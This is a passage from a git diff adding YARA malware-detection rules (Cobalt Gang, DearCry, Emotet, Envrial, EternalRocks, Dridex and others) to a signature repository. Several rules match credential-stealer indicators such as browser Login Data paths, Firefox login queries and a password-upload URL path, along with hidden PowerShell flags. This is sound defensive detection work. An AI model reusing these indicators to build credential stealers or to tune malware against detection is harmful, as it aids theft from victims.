+      $s3 = "Click 'Connect' to Connect to the Server.  'Disconnect' to disconnect from server." fullword wide
+      $s4 = "Click 'Start' to start the Server.  'Stop' to Stop it." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them )
+}
+
+rule CobaltGang_Malware_Aug17_2 {
+   meta:
+      description = "Detects a Cobalt Gang malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
+      date = "2017-08-09"
+      hash1 = "80791d5e76782cc3cd14f37f351e33b860818784192ab5b650f1cdf4f131cf72"
+      id = "2839c119-0fa4-51f0-a406-5d381cc594a2"
+   strings:
+      $s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule MAL_CRIME_CobaltGang_Malware_Oct19_1 {
+   meta:
+      description = "Detects CobaltGang malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/vxsh4d0w/status/1187353649015611392"
+      date = "2019-10-24"
+      hash1 = "72125933265f884ceb8ab64ab303ea76aaeb7877faee8976d398acd0d0b7356b"
+      hash2 = "893339624602c7b3a6f481aed9509b53e4e995d6771c72d726ba5a6b319608a7"
+      hash3 = "3c34bbf641df25f9accd05b27b9058e25554fdfea0e879f5ca21ffa460ad2b01"
+      id = "95c16016-b09b-56f3-b5a4-fca18ac70ad5"
+   strings:
+      $op_a1 = { 0f 44 c2 eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d }
+
+      $op_b1 = { 89 e5 53 8b 55 08 8b 4d 0c 8a 1c 01 88 1c 02 83 }
+      $op_b2 = { 89 e5 53 8b 55 08 8b 45 0c 8a 1c 0a 88 1c 08 83 }
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and (
+         pe.imphash() == "d1e3f8d02cce09520379e5c1e72f862f" or
+         pe.imphash() == "8e26df99c70f79cb8b1ea2ef6f8e52ac" or
+         ( $op_a1 and 1 of ($op_b*) )
+      )
+}
diff --git a/yara-Neo23x0/crime_corkow_dll.yar b/yara-Neo23x0/crime_corkow_dll.yar
new file mode 100644
index 0000000..f6a28dd
--- /dev/null
+++ b/yara-Neo23x0/crime_corkow_dll.yar
@@ -0,0 +1,24 @@
+import "pe"
+
+rule CorkowDLL {
+    meta:
+        description = "Rule to detect the Corkow DLL files"
+        author = "Group IB"
+        date = "01.02.2016"
+        referenced = "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf"
+        id = "cc9d2bb3-8db3-54a0-bd05-7f054ce84633"
+    strings:
+        $binary1 = { 60 [0-8] 9C [0-8] BB ?? ?? ?? ?? [0-8] 81 EB ?? ?? ?? ?? [0-8] E8 ?? 00 00 00 [0-8] 58 [0-8] 2B C3 }
+        $binary2 = { (FF 75 ?? | 53) FF 75 10 FF 75 0C FF 75 08 E8 ?? ?? ?? ?? [3-9] C9 C2 0C 00 }
+    condition:
+         uint16(0) == 0x5a4d and (
+            all of ($binary*) and (
+               pe.exports("Control_RunDLL") or
+               pe.exports("ServiceMain") or
+               pe.exports("DllGetClassObject")
+            ) or (
+               pe.exports("ServiceMain") and  /* Service DLL */
+               pe.exports("Control_RunDLL")   /* Sufficiently specific in this combination */
+            )
+         )
+}
diff --git a/yara-Neo23x0/crime_covid_ransom.yar b/yara-Neo23x0/crime_covid_ransom.yar
new file mode 100644
index 0000000..67ac48f
--- /dev/null
+++ b/yara-Neo23x0/crime_covid_ransom.yar
@@ -0,0 +1,20 @@
+
+rule MAL_RANSOM_COVID19_Apr20_1 {
+   meta:
+      description = "Detects ransomware distributed in COVID-19 theme"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/"
+      date = "2020-04-15"
+      hash1 = "2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326"
+      id = "fc723d1f-e969-5af6-af57-70d00bf797f4"
+   strings:
+      $s1 = "/savekey.php" wide
+
+      $op1 = { 3f ff ff ff ff ff 0b b4 }
+      $op2 = { 60 2e 2e 2e af 34 34 34 b8 34 34 34 b8 34 34 34 }
+      $op3 = { 1f 07 1a 37 85 05 05 36 83 05 05 36 83 05 05 34 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 700KB and
+      2 of them
+}
diff --git a/yara-Neo23x0/crime_credstealer_generic.yar b/yara-Neo23x0/crime_credstealer_generic.yar
new file mode 100644
index 0000000..eb1a4e7
--- /dev/null
+++ b/yara-Neo23x0/crime_credstealer_generic.yar
@@ -0,0 +1,24 @@
+
+rule CredentialStealer_Generic_Backdoor {
+   meta:
+      description = "Detects credential stealer byed on many strings that indicate password store access"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-06-07"
+      hash1 = "edb2d039a57181acf95bd91b2a20bd9f1d66f3ece18506d4ad870ab65e568f2c"
+      id = "b3124f6c-4e18-562c-84d9-d51e086da446"
+   strings:
+      $s1 = "GetOperaLoginData" fullword ascii
+      $s2 = "GetInternetExplorerCredentialsPasswords" fullword ascii
+      $s3 = "%s\\Opera Software\\Opera Stable\\Login Data" fullword ascii
+      $s4 = "select *  from moz_logins" fullword ascii
+      $s5 = "%s\\Google\\Chrome\\User Data\\Default\\Login Data" fullword ascii
+      $s6 = "Host.dll.Windows" fullword ascii
+      $s7 = "GetInternetExplorerVaultPasswords" fullword ascii
+      $s8 = "GetWindowsLiveMessengerPasswords" fullword ascii
+      $s9 = "%s\\Chromium\\User Data\\Default\\Login Data" fullword ascii
+      $s10 = "%s\\Opera\\Opera\\profile\\wand.dat" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and 4 of them )
+}
diff --git a/yara-Neo23x0/crime_crypto_miner.yar b/yara-Neo23x0/crime_crypto_miner.yar
new file mode 100644
index 0000000..9436f45
--- /dev/null
+++ b/yara-Neo23x0/crime_crypto_miner.yar
@@ -0,0 +1,33 @@
+
+rule SUSP_LNX_SH_CryptoMiner_Indicators_Dec20_1 {
+   meta:
+      description = "Detects helper script used in a crypto miner campaign"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
+      date = "2020-12-31"
+      hash1 = "3298dbd985c341d57e3219e80839ec5028585d0b0a737c994363443f4439d7a5"
+      id = "e376e0e1-1490-5ad4-8ca2-d28ca1c0b51a"
+   strings:
+      $x1 = "miner running" fullword ascii
+      $x2 = "miner runing" fullword ascii
+      $x3 = " --donate-level 1 "
+      $x4 = " -o pool.minexmr.com:5555 " ascii
+   condition:
+      filesize < 20KB and 1 of them
+}
+
+rule PUA_WIN_XMRIG_CryptoCoin_Miner_Dec20 {
+   meta:
+      description = "Detects XMRIG crypto coin miners"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
+      date = "2020-12-31"
+      hash1 = "b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09"
+      id = "4dfb04e9-fbba-5a6f-ad20-d805025d2d74"
+   strings:
+      $x1 = "xmrig.exe" fullword wide
+      $x2 = "xmrig.com" fullword wide
+      $x3 = "* for x86, CRYPTOGAMS" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 6000KB and 2 of them or all of them
+}
diff --git a/yara-Neo23x0/crime_cryptowall_svg.yar b/yara-Neo23x0/crime_cryptowall_svg.yar
new file mode 100644
index 0000000..6db45f6
--- /dev/null
+++ b/yara-Neo23x0/crime_cryptowall_svg.yar
@@ -0,0 +1,24 @@
+
+rule SVG_LoadURL {
+	meta:
+		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/psjCCc"
+		date = "2015-05-24"
+		hash1 = "ac8ef9df208f624be9c7e7804de55318"
+		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
+		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
+		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
+		score = 50
+		id = "c3d4c95f-ef8b-52ff-9cf9-d66d9b99a490"
+	strings:
+		$s1 = "</svg>" nocase
+		$s2 = "<script>" nocase
+		$s3 = "location.href='http" nocase
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+		
+		
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_dearcry_ransom.yar b/yara-Neo23x0/crime_dearcry_ransom.yar
new file mode 100644
index 0000000..00b2a5a
--- /dev/null
+++ b/yara-Neo23x0/crime_dearcry_ransom.yar
@@ -0,0 +1,53 @@
+rule MAL_RANSOM_Crime_DearCry_Mar2021_1 {
+    meta:
+        description = "Triggers on strings of known DearCry samples"
+        author = "Nils Kuhnert"
+        date = "2021-03-12"
+        reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
+        hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
+        hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
+        hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
+        id = "d9714502-f1ea-5fe8-b0ac-1f7a9a30d8f5"
+    strings:
+        $x1 = ".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS" ascii
+
+        $s1 = "create rsa error" ascii fullword
+        $s2 = "DEARCRY!" ascii fullword
+        $s4 = "/readme.txt" ascii fullword
+        $s5 = "msupdate" ascii fullword
+        $s6 = "Your file has been encrypted!" ascii fullword
+        $s7 = "%c:\\%s" ascii fullword
+        $s8 = "C:\\Users\\john\\" ascii
+        $s9 = "EncryptFile.exe.pdb" ascii
+    condition:
+        uint16(0) == 0x5a4d 
+        and filesize > 1MB and filesize < 2MB 
+        and ( 1 of ($x*) or 3 of them )
+        or 5 of them
+}
+
+rule MAL_CRIME_RANSOM_DearCry_Mar21_1 {
+   meta:
+      description = "Detects DearCry Ransomware affecting Exchange servers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
+      date = "2021-03-12"
+      hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
+      hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
+      hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
+      id = "96cd2fe8-8bb9-5a3b-9bf1-c63a1148a817"
+   strings:
+      $s1 = "dear!!!" ascii fullword
+      $s2 = "EncryptFile.exe.pdb" ascii fullword
+      $s3 = "/readme.txt" ascii fullword
+      $s4 = "C:\\Users\\john\\" ascii
+      $s5 = "And please send me the following hash!" ascii fullword
+
+      $op1 = { 68 e0 30 52 00 6a 41 68 a5 00 00 00 6a 22 e8 81 d0 f8 ff 83 c4 14 33 c0 5e }
+      $op2 = { 68 78 6a 50 00 6a 65 6a 74 6a 10 e8 d9 20 fd ff 83 c4 14 33 c0 5e }
+      $op3 = { 31 40 00 13 31 40 00 a4 31 40 00 41 32 40 00 5f 33 40 00 e5 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 4000KB and
+      3 of them or 5 of them
+}
diff --git a/yara-Neo23x0/crime_dexter_trojan.yar b/yara-Neo23x0/crime_dexter_trojan.yar
new file mode 100644
index 0000000..6e1bd4d
--- /dev/null
+++ b/yara-Neo23x0/crime_dexter_trojan.yar
@@ -0,0 +1,17 @@
+rule Dexter_Malware {
+	meta:
+		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/oBvy8b"
+		date = "2015/02/10"
+		score = 70
+		id = "8be328ec-ba29-50ba-8d35-e2c4dfcae45e"
+	strings:
+		$s0 = "Java Security Plugin" fullword wide
+		$s1 = "%s\\%s\\%s.exe" fullword wide
+		$s2 = "Sun Java Security Plugin" fullword wide
+		$s3 = "\\Internet Explorer\\iexplore.exe" wide
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_dridex_xml.yar b/yara-Neo23x0/crime_dridex_xml.yar
new file mode 100644
index 0000000..a4b93d4
--- /dev/null
+++ b/yara-Neo23x0/crime_dridex_xml.yar
@@ -0,0 +1,23 @@
+rule Dridex_Trojan_XML {
+	meta:
+		description = "Dridex Malware in XML Document"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
+		date = "2015/03/08"
+		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
+		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
+		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
+		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
+		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
+		id = "a8f3406c-f8b0-559f-be12-6b2a7d401ac2"
+	strings:
+		// can be ascii or wide formatted - therefore no restriction
+		$c_xml      = "<?xml version="
+		$c_word     = "<?mso-application progid=\"Word.Document\"?>"
+		$c_macro    = "w:macrosPresent=\"yes\""
+		$c_binary   = "<w:binData w:name="
+		$c_0_chars  = "<o:Characters>0</o:Characters>"
+		$c_1_line   = "<o:Lines>1</o:Lines>"
+	condition:
+		all of ($c*)
+}
diff --git a/yara-Neo23x0/crime_emotet.yar b/yara-Neo23x0/crime_emotet.yar
new file mode 100644
index 0000000..b963fb2
--- /dev/null
+++ b/yara-Neo23x0/crime_emotet.yar
@@ -0,0 +1,97 @@
+
+rule MAL_Emotet_JS_Dropper_Oct19_1 {
+   meta:
+      description = "Detects Emotet JS dropper"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/aaa75105-dc85-48ca-9732-085b2ceeb6eb/"
+      date = "2019-10-03"
+      hash1 = "38295d728522426672b9497f63b72066e811f5b53a14fb4c4ffc23d4efbbca4a"
+      hash2 = "9bc004a53816a5b46bfb08e819ac1cf32c3bdc556a87a58cbada416c10423573"
+      id = "34605452-8f3d-540a-b66f-4f68d9187003"
+   strings:
+      $xc1 = { FF FE 76 00 61 00 72 00 20 00 61 00 3D 00 5B 00
+               27 00 }
+   condition:
+      uint32(0) == 0x0076feff and filesize <= 700KB and $xc1 at 0
+}
+
+import "pe"
+
+rule MAL_Emotet_Jan20_1 {
+   meta:
+      description = "Detects Emotet malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/5e81638e-df2e-4a5b-9e45-b07c38d53929/"
+      date = "2020-01-29"
+      hash1 = "e7c22ccdb1103ee6bd15c528270f56913bb2f47345b360802b74084563f1b73d"
+      id = "334ae7e5-0a46-5e95-bf53-0f343db4e4de"
+   strings:
+      $op0 = { 74 60 8d 34 18 eb 54 03 c3 50 ff 15 18 08 41 00 }
+      $op1 = { 03 fe 66 39 07 0f 85 2a ff ff ff 8b 4d f0 6a 20 }
+      $op2 = { 8b 7d fc 0f 85 49 ff ff ff 85 db 0f 84 d1 }
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 200KB and (
+         pe.imphash() == "009889c73bd2e55113bf6dfa5f395e0d" or
+         1 of them
+      )
+}
+
+rule MAL_Emotet_BKA_Quarantine_Apr21 {
+   meta:
+      author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
+      reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
+      descripton = "The modified emotet binary replaces the original emotet on the system of the victim. The original emotet is copied to a quarantine for evidence-preservation."
+      note = "The quarantine folder depends on the scope of the initial emotet infection (user or administrator). It is the temporary folder as returned by GetTempPathW under a filename starting with UDP as returned by GetTempFileNameW. To prevent accidental reinfection by a user, the quarantined emotet is encrypted using RC4 and a 0x20 bytes long key found at the start of the quarantined file (see $key)."
+      sharing = "TLP:WHITE"
+      date = "2021-03-23"
+      id = "22c27d82-00cb-5d2f-a1cc-9f8b4c60aecd"
+   strings:
+      $key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
+   condition:
+      $key at 0
+}
+
+rule MAL_Emotet_BKA_Cleanup_Apr21 {
+   meta:
+      author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
+      reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
+      descripton = "This rule targets a modified emotet binary deployed by the Bundeskriminalamt on the 26th of January 2021."
+      note = "The binary will replace the original emotet by copying it to a quarantine. It also contains a routine to perform a self-deinstallation on the 25th of April 2021. The three-month timeframe between rollout and self-deinstallation was chosen primarily for evidence purposes as well as to allow remediation."
+      sharing = "TLP:WHITE"
+      date = "2021-03-23"
+      id = "10d93918-8a5e-54a3-81c6-f6ff68562e13"
+   strings:
+      $key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
+   condition:
+      filesize > 300KB and
+      filesize < 700KB and
+      uint16(0) == 0x5A4D and
+      $key
+}
+
+rule EXT_MAL_SystemBC_Mar22_1 {
+    meta:
+        author = "Thomas Barabosch, Deutsche Telekom Security"
+        date = "2022-03-11"
+        description = "Detects unpacked SystemBC module as used by Emotet in March 2022"
+        score = 85
+        malpedia_reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"
+        reference = "https://twitter.com/Cryptolaemus1/status/1502069552246575105"
+        reference2 = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6"
+        hash1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5"
+        id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85"
+    strings:
+        $sx1 = "-WindowStyle Hidden -ep bypass -file" ascii
+        $sx2 = "BEGINDATA" ascii
+        $sx3 = "GET %s HTTP/1.0" ascii
+        /*
+        $s1 = "TOR:" ascii
+        $s2 = "PORT1:" ascii
+        $s3 = "HOST1:" ascii 
+        */
+        $s5 = "User-Agent:" ascii
+        /* $s6 = "powershell" ascii */
+        $s8 = "ALLUSERSPROFILE" ascii
+    condition:
+        ( uint16(0) == 0x5a4d and filesize < 30KB and 2 of ($sx*) ) or all of them
+}
diff --git a/yara-Neo23x0/crime_enfal.yar b/yara-Neo23x0/crime_enfal.yar
new file mode 100644
index 0000000..2ec310d
--- /dev/null
+++ b/yara-Neo23x0/crime_enfal.yar
@@ -0,0 +1,57 @@
+rule MAL_Enfal_Nov22 { 
+   meta:
+      old_rule_name = "Enfal_Malware"
+      description = "Detects a certain type of Enfal Malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
+      date = "2015-02-10"
+      modified = "2023-01-06"
+      hash2 = "42fa6241ab94c73c7ab386d600fae70da505d752daab2e61819a0142b531078a"
+      hash2 = "bf433f4264fa3f15f320b35e773e18ebfe94465d864d3f4b2a963c3e5efd39c2"
+      score = 75
+      id = "9dcba14e-2175-5da0-8629-5b952c213f6c"
+   strings:
+      $xop1 = { 00 00 83 c9 ff 33 c0 f2 ae f7 d1 49 b8 ff 8f 01 00 2b c1 }
+
+      $s1 = "POWERPNT.exe" fullword ascii
+      $s2 = "%APPDATA%\\Microsoft\\Windows\\" ascii
+      $s3 = "%HOMEPATH%" fullword ascii
+      $s4 = "Server2008" fullword ascii
+      $s5 = "%ComSpec%" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 200KB and
+      ( 1 of ($x*) or 3 of ($s*) )
+}
+
+rule Enfal_Malware_Backdoor {
+	meta:
+		description = "Generic Rule to detect the Enfal Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015/02/10"
+		super_rule = 1
+		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
+		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
+		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
+		score = 60
+		id = "4631888c-e1e2-5969-a312-0f0011cd605c"
+	strings:
+		$x1 = "Micorsoft Corportation" fullword wide
+		$x2 = "IM Monnitor Service" fullword wide
+
+		$s1 = "imemonsvc.dll" fullword wide
+		$s2 = "iphlpsvc.tmp" fullword
+
+		$z1 = "urlmon" fullword
+		$z2 = "Registered trademarks and service marks are the property of their respec" wide
+		$z3 = "XpsUnregisterServer" fullword
+		$z4 = "XpsRegisterServer" fullword
+		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
+	condition:
+		uint16(0) == 0x5a4d and
+		(
+			1 of ($x*) or
+			( all of ($s*) and all of ($z*) )
+		)
+}
diff --git a/yara-Neo23x0/crime_envrial.yar b/yara-Neo23x0/crime_envrial.yar
new file mode 100644
index 0000000..ff0d5d4
--- /dev/null
+++ b/yara-Neo23x0/crime_envrial.yar
@@ -0,0 +1,40 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-21
+   Identifier: Envrial
+   Reference: https://twitter.com/malwrhunterteam/status/953313514629853184
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MAL_Envrial_Jan18_1 {
+   meta:
+      description = "Detects Encrial credential stealer malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/malwrhunterteam/status/953313514629853184"
+      date = "2018-01-21"
+      hash1 = "9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85"
+      hash2 = "9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d"
+      id = "8be5f0d8-013f-5070-9e19-9ac522c88693"
+   strings:
+      $x1 = "/Evrial/master/domen" wide
+
+      $a1 = "\\Opera Software\\Opera Stable\\Login Data" wide
+      $a2 = "\\Comodo\\Dragon\\User Data\\Default\\Login Data" wide
+      $a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide
+      $a4 = "\\Orbitum\\User Data\\Default\\Login Data" wide
+      $a5 = "\\Kometa\\User Data\\Default\\Login Data" wide
+
+      $s1 = "dlhosta.exe" fullword wide
+      $s2 = "\\passwords.log" wide
+      $s3 = "{{ <>h__TransparentIdentifier1 = {0}, Password = {1} }}" fullword wide
+      $s4 = "files/upload.php?user={0}&hwid={1}" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and (
+        1 of ($x*) or
+        3 of them or
+        2 of ($s*)
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_eternalrocks.yar b/yara-Neo23x0/crime_eternalrocks.yar
new file mode 100644
index 0000000..2b25a4e
--- /dev/null
+++ b/yara-Neo23x0/crime_eternalrocks.yar
@@ -0,0 +1,47 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-05-18
+   Identifier: EternalRocks
+   Reference: https://twitter.com/stamparm/status/864865144748298242
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EternalRocks_taskhost {
+   meta:
+      description = "Detects EternalRocks Malware - file taskhost.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/stamparm/status/864865144748298242"
+      date = "2017-05-18"
+      hash1 = "cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30"
+      id = "8926cdf8-6a3c-5237-80f5-bda9efb39a32"
+   strings:
+      $x1 = "EternalRocks.exe" fullword wide
+
+      $s1 = "sTargetIP" fullword ascii
+      $s2 = "SERVER_2008R2_SP0" fullword ascii
+      $s3 = "20D5CCEE9C91A1E61F72F46FA117B93FB006DB51" fullword ascii
+      $s4 = "9EBF75119B8FC7733F77B06378F9E735D34664F6" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and 1 of ($x*) or 3 of them )
+}
+
+rule EternalRocks_svchost {
+   meta:
+      description = "Detects EternalRocks Malware - file taskhost.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/stamparm/status/864865144748298242"
+      date = "2017-05-18"
+      hash1 = "589af04a85dc66ec6b94123142a17cf194decd61f5d79e76183db026010e0d31"
+      id = "c38d3faa-06a2-5f57-a917-91974941352f"
+   strings:
+      $s1 = "WczTkaJphruMyBOQmGuNRtSNTLEs" fullword ascii
+      $s2 = "svchost.taskhost.exe" fullword ascii
+      $s3 = "ConfuserEx v" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 2 of them )
+}
diff --git a/yara-Neo23x0/crime_evilcorp_dridex_banker.yar b/yara-Neo23x0/crime_evilcorp_dridex_banker.yar
new file mode 100644
index 0000000..2d4569b
--- /dev/null
+++ b/yara-Neo23x0/crime_evilcorp_dridex_banker.yar
@@ -0,0 +1,31 @@
+
+/*
+https://twitter.com/VK_Intel/status/1247058432223477760
+*/
+
+import "pe"
+
+rule crime_win32_dridex_socks5_mod {
+    meta:
+        description = "Detects Dridex socks5 module"
+        author = "@VK_Intel"
+        date = "2020-04-06"
+        reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
+        id = "cee256b1-ad80-55dd-bbd3-0d3f7bc49664"
+    strings:
+        $s0 = "socks5_2_x32.dll"
+        $s1 = "socks5_2_x64.dll"
+    condition:
+        any of ($s*) and pe.exports("start")
+}
+
+rule crime_win32_hvnc_banker_gen {
+    meta:
+        description = "Detects malware banker hidden VNC"
+        author = "@VK_Intel"
+        reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
+        date = "2020-04-06"
+        id = "5e13f4a9-2231-524f-82b2-fbc6d6a43b6f"
+    condition:
+        pe.exports("VncStartServer") and pe.exports("VncStopServer")
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_fareit.yar b/yara-Neo23x0/crime_fareit.yar
new file mode 100644
index 0000000..bf70109
--- /dev/null
+++ b/yara-Neo23x0/crime_fareit.yar
@@ -0,0 +1,30 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-18
+	Identifier: Fareit Oct 2015
+*/
+
+rule Fareit_Trojan_Oct15 {
+	meta:
+		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/5VYtlU"
+		date = "2015-10-18"
+		score = 80
+		super_rule = 1
+		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
+		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
+		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
+		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
+		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
+		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
+		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
+		id = "725abb2a-7675-51b5-aed8-594e4826a6b4"
+	strings:
+		$s1 = "ebai.exe" fullword wide
+		$s2 = "Origina" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and $s1 in (0..30000) and $s2 in (0..30000)
+}
diff --git a/yara-Neo23x0/crime_fireball.yar b/yara-Neo23x0/crime_fireball.yar
new file mode 100644
index 0000000..98f5c53
--- /dev/null
+++ b/yara-Neo23x0/crime_fireball.yar
@@ -0,0 +1,191 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-02
+   Identifier: Fireball
+   Reference: https://goo.gl/4pTkGQ
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Fireball_de_svr {
+   meta:
+      description = "Detects Fireball malware - file de_svr.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
